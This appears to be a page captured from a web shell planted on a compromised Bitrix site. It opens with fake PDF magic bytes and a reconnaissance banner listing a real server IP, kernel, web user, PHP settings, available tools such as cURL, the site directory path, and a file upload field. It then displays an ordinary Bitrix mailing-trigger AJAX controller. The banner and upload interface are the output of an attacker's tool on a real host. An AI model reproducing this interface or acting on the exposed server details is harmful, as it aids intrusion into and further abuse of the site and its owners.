%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.129.249.117 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.trigger.list/ |
Upload File : |
<?php define('STOP_STATISTICS', true); define('BX_SECURITY_SHOW_MESSAGE', true); require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php'); use Bitrix\Main\Error; use Bitrix\Main\HttpRequest; use Bitrix\Main\Loader; use Bitrix\Sender\Entity; use Bitrix\Sender\Internals\CommonAjax; use Bitrix\Sender\Internals\QueryController as Controller; use Bitrix\Sender\MailingTable; use Bitrix\Sender\Trigger; if (!Bitrix\Main\Loader::includeModule('sender')) { return; } $actions = array(); $actions[] = Controller\Action::create('createUsingPreset')->setHandler( function (HttpRequest $request, Controller\Response $response) { $content = $response->initContentJson(); $code = $request->get('code'); $presets = MailingTable::getPresetMailingList(); $data = null; foreach ($presets as $preset) { if ($preset['CODE'] === $code) { $data = $preset; break; } } if (!$data) { $content->getErrorCollection()->setError(new Error("Preset with code `$code` not found.")); return; } $triggerFields = []; $triggerFields['START'] = Trigger\Settings::getArrayFromTrigger( Trigger\Manager::getOnce($data['TRIGGER']['START']['ENDPOINT']) ); $triggerFields['END'] = Trigger\Settings::getArrayFromTrigger( Trigger\Manager::getOnce($data['TRIGGER']['END']['ENDPOINT']) ); $entity = (new Entity\TriggerCampaign()) ->set('NAME', $data['NAME']) ->set('DESCRIPTION', $data['DESC_USER']) ->set('SITE_ID', SITE_ID) ->set('TRIGGER_FIELDS', $triggerFields); $entity->save(); if ($entity->hasErrors()) { $content->getErrorCollection()->add($entity->getErrors()); return; } Loader::includeModule('fileman'); $defaultMessage = \Bitrix\Fileman\Block\Content\SliceConverter::SLICE_SECTION_ID . '/STYLES/page/'; $defaultMessage = "<!--START $defaultMessage--><!--END $defaultMessage-->"; $emailFromList = \Bitrix\Sender\MailingChainTable::getDefaultEmailFromList(); foreach ($data['CHAIN'] as $letterData) { $letter = (new Entity\Letter()) ->set('IS_TRIGGER', 'Y') ->set('CREATED_BY', Bitrix\Sender\Security\User::current()->getId()) ->set('UPDATED_BY', Bitrix\Sender\Security\User::current()->getId()) ->set('CAMPAIGN_ID', $entity->getId()) ->set('TITLE', trim(str_replace('#SITE_NAME#:', '',$letterData['SUBJECT']))) ->set('TIME_SHIFT', $letterData['TIME_SHIFT']) ->set('TEMPLATE_ID', $letterData['TEMPLATE_ID']) ->set('TEMPLATE_TYPE', $letterData['TEMPLATE_TYPE']); $config = $letter->getMessage()->getConfiguration(); $config->set('SUBJECT', $letterData['SUBJECT']); $config->set('MESSAGE', $defaultMessage); $config->set('EMAIL_FROM', current($emailFromList)); $config->set('TEMPLATE_ID', $letterData['TEMPLATE_ID']); $config->set('TEMPLATE_TYPE', $letterData['TEMPLATE_TYPE']); $result = $letter->getMessage()->saveConfiguration($config); if (!$result->isSuccess()) { $content->getErrorCollection()->add($result->getErrors()); return; } $letter->set('MESSAGE_ID', $config->getId()); $letter->save(); if ($letter->hasErrors()) { $content->getErrorCollection()->add($entity->getErrors()); return; } $entity->getChain()->addLetter($letter->getId()); } $entity->getChain()->save(); } ); $actions[] = Controller\Action::create('activate')->setHandler( function (HttpRequest $request, Controller\Response $response) { $entity = new Entity\TriggerCampaign($request->get('id')); $entity->activate(); \Bitrix\Sender\MailingTable::updateChainTrigger($request->get('id')); $content = $response->initContentJson(); $content->getErrorCollection()->add($entity->getErrors()); } ); $actions[] = Controller\Action::create('deactivate')->setHandler( function (HttpRequest $request, Controller\Response $response) { $entity = new Entity\TriggerCampaign($request->get('id')); $entity->deactivate(); $content = $response->initContentJson(); $content->getErrorCollection()->add($entity->getErrors()); } ); $actions[] = Controller\Action::create('remove')->setHandler( function (HttpRequest $request, Controller\Response $response) { $entity = new Entity\TriggerCampaign($request->get('id')); $entity->remove(); $content = $response->initContentJson(); $content->getErrorCollection()->add($entity->getErrors()); } ); $actions[] = Controller\Action::create('removeList')->setHandler( function (HttpRequest $request, Controller\Response $response) { $list = $request->get('id'); if (!is_array($list) || empty($list)) { return; } $content = $response->initContentJson(); foreach ($list as $id) { $id = (int) $id; if (!$id) { return; } $entity = new Entity\TriggerCampaign($id); $entity->remove(); if ($entity->hasErrors()) { $content->getErrorCollection()->add($entity->getErrors()); break; } } } ); $checker = CommonAjax\Checker::getModifyLetterPermissionChecker(); Controller\Listener::create()->addChecker($checker)->setActions($actions)->run();